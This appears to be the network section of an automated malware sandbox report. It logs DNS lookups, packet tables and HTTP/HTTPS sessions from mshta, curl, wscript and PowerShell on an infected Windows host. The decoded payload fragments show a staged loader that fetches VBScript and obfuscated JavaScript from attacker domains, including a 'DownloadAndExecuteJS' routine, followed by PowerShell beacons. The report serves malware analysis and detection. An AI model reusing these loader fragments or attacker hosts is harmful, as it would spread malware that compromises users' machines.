Dec 20, 2024 12:39:42.299895048 CET	80	49755	206.188.197.242	192.168.2.4
Dec 20, 2024 12:40:04.070620060 CET	80	49755	206.188.197.242	192.168.2.4
Dec 20, 2024 12:40:04.070681095 CET	49755	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:40:04.070952892 CET	49755	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:40:04.085295916 CET	80	49754	206.188.197.242	192.168.2.4
Dec 20, 2024 12:40:04.085365057 CET	49754	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:40:04.085652113 CET	49754	80	192.168.2.4	206.188.197.242
Dec 20, 2024 12:40:04.190402031 CET	80	49755	206.188.197.242	192.168.2.4
Dec 20, 2024 12:40:04.205116987 CET	80	49754	206.188.197.242	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 12:39:00.918783903 CET	60737	53	192.168.2.4	1.1.1.1
Dec 20, 2024 12:39:01.341092110 CET	53	60737	1.1.1.1	192.168.2.4
Dec 20, 2024 12:39:19.561302900 CET	57383	53	192.168.2.4	1.1.1.1
Dec 20, 2024 12:39:19.995573044 CET	53	57383	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 12:39:00.918783903 CET	192.168.2.4	1.1.1.1	0x64f7	Standard query (0)	file-download.bytez.cloud	A (IP address)	IN (0x0001)	false
Dec 20, 2024 12:39:19.561302900 CET	192.168.2.4	1.1.1.1	0x9fb3	Standard query (0)	bmuegbvuz7u3b.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 12:39:01.341092110 CET	1.1.1.1	192.168.2.4	0x64f7	No error (0)	file-download.bytez.cloud		78.138.9.153	A (IP address)	IN (0x0001)	false
Dec 20, 2024 12:39:19.995573044 CET	1.1.1.1	192.168.2.4	0x9fb3	No error (0)	bmuegbvuz7u3b.top		206.188.197.242	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

file-download.bytez.cloud

bmuegbvuz7u3b.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49747	206.188.197.242	80	7232	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 12:39:20.133955956 CET	177	OUT	GET /1.php?s=mints21 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: bmuegbvuz7u3b.top Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49748	206.188.197.242	80	7172	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 12:39:20.134260893 CET	177	OUT	GET /1.php?s=mints21 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: bmuegbvuz7u3b.top Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49754	206.188.197.242	80	7172	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 12:39:42.172713041 CET	177	OUT	GET /1.php?s=mints21 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: bmuegbvuz7u3b.top Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49755	206.188.197.242	80	7232	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 12:39:42.178459883 CET	177	OUT	GET /1.php?s=mints21 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: bmuegbvuz7u3b.top Connection: Keep-Alive

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	78.138.9.153	443	6700	C:\Windows\SysWOW64\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 11:39:03 UTC	342	OUT	GET /676556be12355/js/676556be11f48.js HTTP/1.1 Accept: / Accept-Language: en-CH Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: file-download.bytez.cloud Connection: Keep-Alive
2024-12-20 11:39:03 UTC	277	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 11:39:03 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Fri, 20 Dec 2024 11:36:30 GMT ETag: "156-629b20ed5d52f" Accept-Ranges: bytes Content-Length: 342 Vary: Accept-Encoding Connection: close Content-Type: text/javascript
2024-12-20 11:39:03 UTC	342	IN	Data Raw: 6d 6f 76 65 54 6f 28 39 38 35 35 39 2c 20 39 31 33 35 39 29 3b 0a 76 61 72 20 64 71 57 44 30 6b 47 39 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0a 76 61 72 20 52 4e 47 76 44 39 35 20 3d 20 22 2e 22 3b 0a 64 71 57 44 30 6b 47 39 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 20 22 68 74 74 70 73 3a 2f 2f 66 69 6c 65 2d 64 6f 77 6e 6c 6f 61 64 22 20 2b 20 52 4e 47 76 44 39 35 20 2b 20 22 62 79 74 65 7a 22 20 2b 20 52 4e 47 76 44 39 35 20 2b 20 22 63 6c 6f 75 64 2f 36 37 36 35 35 36 62 65 31 32 33 35 35 2f 36 37 36 35 35 36 62 65 31 32 61 63 33 22 20 2b 20 52 4e 47 76 44 39 35 20 2b 20 22 76 62 73 22 29 3b 0a 64 71 57 44 30 6b 47 39 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 Data Ascii: moveTo(98559, 91359);var dqWD0kG9 = document.createElement("script");var RNGvD95 = ".";dqWD0kG9.setAttribute("src", "https://file-download" + RNGvD95 + "bytez" + RNGvD95 + "cloud/676556be12355/676556be12ac3" + RNGvD95 + "vbs");dqWD0kG9.setAttribute("t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	78.138.9.153	443	6700	C:\Windows\SysWOW64\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 11:39:05 UTC	340	OUT	GET /676556be12355/676556be12ac3.vbs HTTP/1.1 Accept: / Accept-Language: en-CH Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: file-download.bytez.cloud Connection: Keep-Alive
2024-12-20 11:39:05 UTC	223	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 11:39:05 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Fri, 20 Dec 2024 11:36:30 GMT ETag: "2c3-629b20ed5d52f" Accept-Ranges: bytes Content-Length: 707 Connection: close
2024-12-20 11:39:05 UTC	707	IN	Data Raw: 0a 0a 66 75 6e 63 74 69 6f 6e 20 70 56 76 49 64 39 32 28 76 48 6b 52 33 70 6d 35 31 29 20 0a 20 20 20 20 70 56 76 49 64 39 32 20 3d 20 52 65 70 6c 61 63 65 28 76 48 6b 52 33 70 6d 35 31 2c 22 7c 22 2c 20 22 22 29 0a 65 6e 64 20 66 75 6e 63 74 69 6f 6e 0a 0a 44 69 6d 20 73 68 65 6c 6c 2c 20 70 75 62 6c 69 63 46 6f 6c 64 65 72 0a 53 65 74 20 73 68 65 6c 6c 20 3d 20 43 72 65 61 74 65 4f 62 6a 65 63 74 28 22 57 53 63 72 69 70 74 2e 53 68 65 6c 6c 22 29 0a 70 75 62 6c 69 63 46 6f 6c 64 65 72 20 3d 20 73 68 65 6c 6c 2e 45 78 70 61 6e 64 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 74 72 69 6e 67 73 28 22 25 50 55 42 4c 49 43 25 22 29 0a 0a 0a 44 69 6d 20 76 62 73 46 69 6c 65 50 61 74 68 0a 76 62 73 46 69 6c 65 50 61 74 68 20 3d 20 70 75 62 6c 69 63 46 6f 6c 64 65 72 20 Data Ascii: function pVvId92(vHkR3pm51) pVvId92 = Replace(vHkR3pm51,"\|", "")end functionDim shell, publicFolderSet shell = CreateObject("WScript.Shell")publicFolder = shell.ExpandEnvironmentStrings("%PUBLIC%")Dim vbsFilePathvbsFilePath = publicFolder

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	78.138.9.153	443	6964	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 11:39:08 UTC	120	OUT	GET /676556be12355/676556be12aca.vbs HTTP/1.1 Host: file-download.bytez.cloud User-Agent: curl/7.83.1 Accept: /
2024-12-20 11:39:08 UTC	224	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 11:39:08 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Fri, 20 Dec 2024 11:36:30 GMT ETag: "786-629b20ed5d52f" Accept-Ranges: bytes Content-Length: 1926 Connection: close
2024-12-20 11:39:08 UTC	1926	IN	Data Raw: 4f 70 74 69 6f 6e 20 45 78 70 6c 69 63 69 74 0a 0a 53 75 62 20 44 6f 77 6e 6c 6f 61 64 41 6e 64 45 78 65 63 75 74 65 4a 53 28 62 61 73 65 55 72 6c 2c 20 6c 69 73 74 45 6e 64 70 6f 69 6e 74 2c 20 6a 73 46 6f 6c 64 65 72 29 0a 20 20 20 20 44 69 6d 20 78 6d 6c 68 74 74 70 2c 20 66 73 6f 2c 20 73 68 65 6c 6c 2c 20 6a 73 46 69 6c 65 73 2c 20 73 65 6c 65 63 74 65 64 46 69 6c 65 2c 20 74 65 6d 70 46 6f 6c 64 65 72 2c 20 6a 73 46 69 6c 65 50 61 74 68 0a 20 20 20 20 53 65 74 20 78 6d 6c 68 74 74 70 20 3d 20 43 72 65 61 74 65 4f 62 6a 65 63 74 28 22 4d 53 58 4d 4c 32 2e 58 4d 4c 48 54 54 50 22 29 0a 20 20 20 20 53 65 74 20 66 73 6f 20 3d 20 43 72 65 61 74 65 4f 62 6a 65 63 74 28 22 53 63 72 69 70 74 69 6e 67 2e 46 69 6c 65 53 79 73 74 65 6d 4f 62 6a 65 63 74 22 29 Data Ascii: Option ExplicitSub DownloadAndExecuteJS(baseUrl, listEndpoint, jsFolder) Dim xmlhttp, fso, shell, jsFiles, selectedFile, tempFolder, jsFilePath Set xmlhttp = CreateObject("MSXML2.XMLHTTP") Set fso = CreateObject("Scripting.FileSystemObject")

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	78.138.9.153	443	6960	C:\Windows\SysWOW64\wscript.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 11:39:12 UTC	323	OUT	GET /list_files.php HTTP/1.1 Accept: / Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: file-download.bytez.cloud Connection: Keep-Alive
2024-12-20 11:39:12 UTC	192	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 11:39:12 GMT Server: Apache/2.4.58 (Ubuntu) Vary: Accept-Encoding Content-Length: 5511 Connection: close Content-Type: text/plain;charset=UTF-8
2024-12-20 11:39:12 UTC	5511	IN	Data Raw: 61 64 63 68 66 6e 2e 74 78 74 0a 61 66 6d 6a 71 79 2e 74 78 74 0a 61 69 70 6f 6a 64 2e 74 78 74 0a 61 69 76 66 68 6d 2e 74 78 74 0a 61 6b 6d 73 66 6e 2e 74 78 74 0a 61 6c 7a 67 64 66 2e 74 78 74 0a 61 70 77 69 73 72 2e 74 78 74 0a 61 71 62 76 65 73 2e 74 78 74 0a 61 72 66 65 6a 67 2e 74 78 74 0a 61 72 70 75 66 78 2e 74 78 74 0a 61 73 70 6e 67 66 2e 74 78 74 0a 61 74 62 6d 63 76 2e 74 78 74 0a 61 74 68 75 70 69 2e 74 78 74 0a 61 74 6a 75 6e 77 2e 74 78 74 0a 61 74 72 70 6a 78 2e 74 78 74 0a 61 77 65 71 78 6c 2e 74 78 74 0a 61 79 62 66 6d 65 2e 74 78 74 0a 62 61 7a 79 64 6e 2e 74 78 74 0a 62 63 65 72 74 76 2e 74 78 74 0a 62 63 76 6d 6f 6b 2e 74 78 74 0a 62 66 74 6f 7a 65 2e 74 78 74 0a 62 67 77 64 6c 71 2e 74 78 74 0a 62 6a 65 77 78 74 2e 74 78 74 0a 62 6b Data Ascii: adchfn.txtafmjqy.txtaipojd.txtaivfhm.txtakmsfn.txtalzgdf.txtapwisr.txtaqbves.txtarfejg.txtarpufx.txtaspngf.txtatbmcv.txtathupi.txtatjunw.txtatrpjx.txtaweqxl.txtaybfme.txtbazydn.txtbcertv.txtbcvmok.txtbftoze.txtbgwdlq.txtbjewxt.txtbk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49741	78.138.9.153	443	4296	C:\Windows\SysWOW64\wscript.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 11:39:12 UTC	323	OUT	GET /list_files.php HTTP/1.1 Accept: / Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: file-download.bytez.cloud Connection: Keep-Alive
2024-12-20 11:39:13 UTC	192	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 11:39:12 GMT Server: Apache/2.4.58 (Ubuntu) Vary: Accept-Encoding Content-Length: 5511 Connection: close Content-Type: text/plain;charset=UTF-8
2024-12-20 11:39:13 UTC	5511	IN	Data Raw: 61 64 63 68 66 6e 2e 74 78 74 0a 61 66 6d 6a 71 79 2e 74 78 74 0a 61 69 70 6f 6a 64 2e 74 78 74 0a 61 69 76 66 68 6d 2e 74 78 74 0a 61 6b 6d 73 66 6e 2e 74 78 74 0a 61 6c 7a 67 64 66 2e 74 78 74 0a 61 70 77 69 73 72 2e 74 78 74 0a 61 71 62 76 65 73 2e 74 78 74 0a 61 72 66 65 6a 67 2e 74 78 74 0a 61 72 70 75 66 78 2e 74 78 74 0a 61 73 70 6e 67 66 2e 74 78 74 0a 61 74 62 6d 63 76 2e 74 78 74 0a 61 74 68 75 70 69 2e 74 78 74 0a 61 74 6a 75 6e 77 2e 74 78 74 0a 61 74 72 70 6a 78 2e 74 78 74 0a 61 77 65 71 78 6c 2e 74 78 74 0a 61 79 62 66 6d 65 2e 74 78 74 0a 62 61 7a 79 64 6e 2e 74 78 74 0a 62 63 65 72 74 76 2e 74 78 74 0a 62 63 76 6d 6f 6b 2e 74 78 74 0a 62 66 74 6f 7a 65 2e 74 78 74 0a 62 67 77 64 6c 71 2e 74 78 74 0a 62 6a 65 77 78 74 2e 74 78 74 0a 62 6b Data Ascii: adchfn.txtafmjqy.txtaipojd.txtaivfhm.txtakmsfn.txtalzgdf.txtapwisr.txtaqbves.txtarfejg.txtarpufx.txtaspngf.txtatbmcv.txtathupi.txtatjunw.txtatrpjx.txtaweqxl.txtaybfme.txtbazydn.txtbcertv.txtbcvmok.txtbftoze.txtbgwdlq.txtbjewxt.txtbk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49743	78.138.9.153	443	6960	C:\Windows\SysWOW64\wscript.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 11:39:14 UTC	322	OUT	GET /js/cagesr.txt HTTP/1.1 Accept: / Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: file-download.bytez.cloud Connection: Keep-Alive
2024-12-20 11:39:14 UTC	277	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 11:39:14 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Tue, 17 Dec 2024 22:31:38 GMT ETag: "32b03-6297edc3f0680" Accept-Ranges: bytes Content-Length: 207619 Vary: Accept-Encoding Connection: close Content-Type: text/plain
2024-12-20 11:39:14 UTC	7915	IN	Data Raw: 76 61 72 20 74 68 65 68 69 73 30 77 6f 75 6c 64 73 6f 76 65 72 65 69 67 6e 74 79 20 3d 20 74 68 65 68 69 73 30 74 68 65 77 69 74 68 3b 0a 66 75 6e 63 74 69 6f 6e 20 74 68 65 68 69 73 30 74 68 65 77 69 74 68 28 6e 6f 74 68 69 73 74 6f 72 79 2c 20 74 68 65 77 69 74 68 29 20 7b 0a 20 20 20 20 76 61 72 20 77 6f 75 6c 64 73 6f 76 65 72 65 69 67 6e 74 79 20 3d 20 74 68 65 68 69 73 30 6e 6f 74 68 69 73 74 6f 72 79 28 29 3b 0a 20 20 20 20 74 68 65 68 69 73 30 74 68 65 77 69 74 68 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 61 6e 64 72 65 77 66 6f 72 63 65 73 2c 20 73 75 63 68 74 68 65 29 20 7b 0a 20 20 20 20 20 20 20 20 61 6e 64 72 65 77 66 6f 72 63 65 73 20 3d 20 61 6e 64 72 65 77 66 6f 72 63 65 73 20 2d 20 28 30 78 35 31 37 20 2a 20 30 78 31 20 2b 20 30 78 31 36 62 Data Ascii: var thehis0wouldsovereignty = thehis0thewith;function thehis0thewith(nothistory, thewith) { var wouldsovereignty = thehis0nothistory(); thehis0thewith = function (andrewforces, suchthe) { andrewforces = andrewforces - (0x517 * 0x1 + 0x16b
2024-12-20 11:39:14 UTC	8000	IN	Data Raw: 76 61 72 20 53 44 46 53 76 73 34 68 20 3d 20 30 78 30 3b 20 53 44 46 53 76 73 34 68 20 3c 20 41 46 73 47 61 33 72 76 7a 5b 27 6c 65 6e 67 74 68 27 5d 3b 20 53 44 46 53 76 73 34 68 2b 2b 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 44 46 53 76 73 34 68 20 3d 20 28 73 44 46 53 76 73 34 68 20 2b 20 30 78 31 29 20 25 20 30 78 31 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 53 64 46 53 76 73 34 68 20 3d 20 28 53 64 46 53 76 73 34 68 20 2b 20 61 66 53 47 61 33 72 76 7a 5b 73 44 46 53 76 73 34 68 5d 29 20 25 20 30 78 31 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 41 66 53 47 61 33 72 76 7a 20 3d 20 61 66 53 47 61 33 72 76 7a 5b 73 44 46 53 76 73 34 68 5d 3b 0a 20 20 20 20 20 20 Data Ascii: var SDFSvs4h = 0x0; SDFSvs4h < AFsGa3rvz['length']; SDFSvs4h++) { sDFSvs4h = (sDFSvs4h + 0x1) % 0x100; SdFSvs4h = (SdFSvs4h + afSGa3rvz[sDFSvs4h]) % 0x100; AfSGa3rvz = afSGa3rvz[sDFSvs4h];
2024-12-20 11:39:14 UTC	8000	IN	Data Raw: 79 74 65 72 79 20 68 69 73 20 69 6d 6d 65 64 69 61 74 65 20 66 61 69 74 68 66 75 6c 20 64 65 65 70 6c 79 20 62 65 6c 69 74 74 6c 65 20 6e 6f 74 20 54 72 61 6e 73 63 72 69 62 65 72 20 66 72 6f 6d 20 74 68 65 20 54 48 45 20 54 48 45 20 74 68 65 20 73 75 63 68 20 6c 69 62 65 72 74 79 20 72 65 61 64 69 6c 79 20 69 6e 74 65 6c 6c 69 67 65 6e 63 65 20 53 63 6f 74 74 69 73 68 20 70 72 69 6e 74 69 6e 67 20 74 68 65 20 6f 75 72 20 74 68 65 20 61 6e 64 20 77 69 74 68 20 61 6e 64 20 6c 65 74 74 65 72 73 20 50 55 42 4c 49 53 48 45 44 20 45 70 69 73 63 6f 70 61 63 79 0a 2f 2f 4d 69 6e 6f 72 20 6d 61 6b 65 20 6d 69 73 74 61 6b 65 6e 20 61 6e 64 20 62 65 6c 69 74 74 6c 65 20 41 4e 44 45 52 53 4f 4e 20 6c 69 62 65 72 74 79 20 74 68 65 20 6f 75 72 20 43 4f 4e 54 45 4e 54 Data Ascii: ytery his immediate faithful deeply belittle not Transcriber from the THE THE the such liberty readily intelligence Scottish printing the our the and with and letters PUBLISHED Episcopacy//Minor make mistaken and belittle ANDERSON liberty the our CONTENT
2024-12-20 11:39:14 UTC	8000	IN	Data Raw: 61 6e 73 20 5f 4d 61 72 63 68 5f 20 73 68 6f 75 6c 64 20 63 61 73 65 20 77 61 73 20 65 71 75 61 6c 6c 79 20 73 70 65 61 6b 73 20 63 69 76 69 6c 20 72 65 6e 64 65 72 65 64 0a 2f 2f 41 4e 44 20 6a 75 64 67 6d 65 6e 74 20 4d 45 4c 56 49 4c 4c 45 20 68 6f 6e 6f 75 72 20 6d 61 6e 79 20 6f 75 72 20 61 6e 64 20 74 68 65 20 6f 6e 65 20 77 61 73 20 73 61 69 64 20 41 42 52 4f 41 44 20 6d 6f 6e 61 72 63 68 20 46 69 72 73 74 20 4a 6f 68 6e 20 65 78 65 72 63 69 73 65 64 20 74 68 65 69 72 20 74 68 61 74 20 62 65 65 6e 20 44 49 4e 47 49 4e 47 20 69 74 73 20 61 72 65 20 73 74 72 75 67 67 6c 65 20 6d 65 72 65 6c 79 20 74 68 65 20 66 72 65 65 64 6f 6d 20 68 61 7a 61 72 64 73 20 6f 6e 65 20 48 61 64 20 70 6c 61 63 65 64 20 47 72 65 65 6b 20 74 68 65 20 54 48 45 20 73 74 72 Data Ascii: ans _March_ should case was equally speaks civil rendered//AND judgment MELVILLE honour many our and the one was said ABROAD monarch First John exercised their that been DINGING its are struggle merely the freedom hazards one Had placed Greek the THE str
2024-12-20 11:39:14 UTC	8000	IN	Data Raw: 2f 74 68 65 20 54 68 65 20 6f 74 68 65 72 20 72 65 73 6f 6c 75 74 65 20 73 65 72 76 69 63 65 73 20 6c 69 66 65 20 53 45 44 41 4e 20 68 69 67 68 20 66 6f 72 20 68 61 73 20 73 75 62 6a 65 63 74 20 50 72 65 73 62 79 74 65 72 79 20 43 48 41 50 54 45 52 20 75 6c 74 69 6d 61 74 65 6c 79 20 63 68 61 70 74 65 72 20 4d 65 73 73 72 73 20 70 72 65 6a 75 64 69 63 65 20 67 72 6f 75 6e 64 20 61 6e 64 20 6d 61 6b 65 20 6e 6f 74 20 6d 6f 72 65 20 72 65 73 6f 72 74 20 75 70 6f 6e 20 45 70 69 73 63 6f 70 61 63 79 20 54 68 65 20 6c 69 62 65 72 74 69 65 73 20 74 68 65 69 72 20 6d 61 69 6e 74 61 69 6e 20 43 48 55 52 43 48 20 77 68 69 63 68 20 74 68 65 20 73 68 6f 77 6e 20 6b 69 6e 67 20 63 6f 6e 74 72 6f 76 65 72 73 69 61 6c 69 73 74 20 61 6e 64 20 61 6d 6f 6e 67 20 73 65 74 Data Ascii: /the The other resolute services life SEDAN high for has subject Presbytery CHAPTER ultimately chapter Messrs prejudice ground and make not more resort upon Episcopacy The liberties their maintain CHURCH which the shown king controversialist and among set
2024-12-20 11:39:15 UTC	8000	IN	Data Raw: 61 6e 64 20 69 6e 74 65 72 65 73 74 20 77 61 73 0a 2f 2f 68 69 73 20 74 68 69 73 20 6d 75 63 68 20 6c 61 73 74 20 70 72 6f 62 6c 65 6d 73 20 74 68 61 74 20 4d 65 6c 76 69 6c 6c 65 20 4d 65 6c 76 69 6c 6c 65 20 70 65 72 76 65 72 73 69 74 79 20 74 68 61 74 20 4d 45 4c 56 49 4c 4c 45 20 74 68 65 69 72 20 74 68 65 69 72 20 74 68 65 20 61 6d 6f 6e 67 20 61 6e 64 20 61 6c 6c 20 68 69 73 20 68 6f 6e 6f 75 72 20 43 68 75 72 63 68 20 4d 65 73 73 72 73 20 53 63 6f 74 74 69 73 68 20 62 75 74 20 77 61 73 20 72 65 73 69 73 74 61 6e 63 65 20 70 6f 6c 69 63 79 20 74 68 65 20 64 6f 77 6e 77 61 72 64 73 20 4d 65 6c 76 69 6c 6c 65 20 4d 65 6c 76 69 6c 6c 65 20 54 48 45 20 61 6e 64 20 66 6f 72 20 74 68 65 20 70 65 72 69 6f 64 20 68 69 73 74 6f 72 79 20 6f 6e 65 20 61 6e 64 Data Ascii: and interest was//his this much last problems that Melville Melville perversity that MELVILLE their their the among and all his honour Church Messrs Scottish but was resistance policy the downwards Melville Melville THE and for the period history one and
2024-12-20 11:39:15 UTC	8000	IN	Data Raw: 61 63 65 64 20 68 61 73 20 74 68 65 20 43 48 41 50 54 45 52 20 6f 77 6e 20 65 6d 69 6e 65 6e 74 20 73 63 68 6f 6c 61 72 20 73 79 73 74 65 6d 20 74 68 65 0a 2f 2f 6d 61 6e 20 61 6e 64 20 53 63 6f 74 74 69 73 68 20 70 65 6f 70 6c 65 20 65 66 66 65 63 74 20 65 6e 6e 6f 62 6c 65 73 20 47 6c 61 73 67 6f 77 20 73 70 68 65 72 65 20 77 68 69 63 68 20 68 61 73 20 66 61 69 74 68 66 75 6c 20 31 36 38 38 20 72 65 66 65 72 20 74 68 61 6e 20 77 61 73 20 77 6f 75 6c 64 20 63 6f 75 6e 74 65 64 20 53 63 6f 74 74 69 73 68 20 5f 4d 61 72 63 68 5f 20 63 6f 6d 6d 6f 6e 20 77 61 6c 6c 73 20 73 70 69 72 69 74 65 64 20 74 68 65 20 64 65 65 70 6c 79 20 50 72 65 73 62 79 74 65 72 79 20 66 6f 6c 6c 6f 77 73 20 70 6f 6c 65 6d 69 63 20 72 65 73 69 73 74 61 6e 63 65 20 74 68 65 20 73 Data Ascii: aced has the CHAPTER own eminent scholar system the//man and Scottish people effect ennobles Glasgow sphere which has faithful 1688 refer than was would counted Scottish _March_ common walls spirited the deeply Presbytery follows polemic resistance the s
2024-12-20 11:39:15 UTC	8000	IN	Data Raw: 20 68 69 73 20 74 68 65 20 68 69 73 20 71 75 6f 74 61 74 69 6f 6e 73 20 43 72 69 65 20 4c 61 74 69 6e 0a 2f 2f 46 4c 49 47 48 54 20 66 61 6d 65 20 69 6d 70 6f 73 69 74 69 6f 6e 20 68 69 73 20 6e 6f 74 20 61 62 6c 65 20 77 61 73 20 74 68 65 72 65 66 6f 72 65 20 6f 74 68 65 72 20 41 4e 44 45 52 53 4f 4e 20 77 69 74 68 69 6e 20 6c 61 73 74 69 6e 67 20 62 65 65 6e 20 68 69 73 74 6f 72 79 20 67 72 6f 75 6e 64 20 68 61 73 20 6d 6f 73 74 20 73 75 63 68 20 74 68 65 20 70 65 6f 70 6c 65 20 61 6e 64 20 64 77 61 72 66 65 64 20 4a 6f 68 6e 20 74 79 70 6f 73 20 66 72 65 65 20 77 61 73 20 79 6f 6b 65 20 70 72 65 20 63 6f 6e 66 65 72 72 65 64 20 68 6f 6e 6f 75 72 20 74 68 65 79 20 4d 4f 52 54 4f 4e 20 43 68 75 72 63 68 20 77 61 73 20 76 69 6e 64 69 63 61 74 65 20 74 77 Data Ascii: his the his quotations Crie Latin//FLIGHT fame imposition his not able was therefore other ANDERSON within lasting been history ground has most such the people and dwarfed John typos free was yoke pre conferred honour they MORTON Church was vindicate tw
2024-12-20 11:39:15 UTC	8000	IN	Data Raw: 74 65 72 20 68 69 73 20 69 6e 63 61 6c 63 75 6c 61 62 6c 79 0a 2f 2f 74 68 65 20 77 69 6e 6e 69 6e 67 20 53 63 6f 74 74 69 73 68 20 62 72 61 63 6b 65 74 73 20 74 68 65 20 46 4c 49 47 48 54 20 61 6e 64 20 74 68 65 20 61 72 65 20 73 74 72 75 67 67 6c 65 73 20 77 61 73 20 74 68 61 74 20 76 6f 6c 75 6d 65 20 6d 65 6e 74 69 6f 6e 65 64 20 6e 61 74 69 6f 6e 20 73 61 69 64 20 74 68 69 73 20 66 6f 75 6e 64 20 64 65 76 65 6c 6f 70 20 42 49 47 47 49 4e 47 20 74 68 61 74 20 6f 74 68 65 72 20 73 79 73 74 65 6d 20 70 6f 77 65 72 20 67 72 65 61 74 20 74 68 65 6d 20 43 48 41 50 54 45 52 20 66 65 61 72 20 68 61 73 20 68 69 73 20 66 61 63 74 6f 72 20 73 70 68 65 72 65 20 61 6e 64 20 73 75 63 68 20 63 61 72 65 20 53 63 6f 74 6c 61 6e 64 20 75 6c 74 69 6d 61 74 65 6c 79 20 Data Ascii: ter his incalculably//the winning Scottish brackets the FLIGHT and the are struggles was that volume mentioned nation said this found develop BIGGING that other system power great them CHAPTER fear has his factor sphere and such care Scotland ultimately
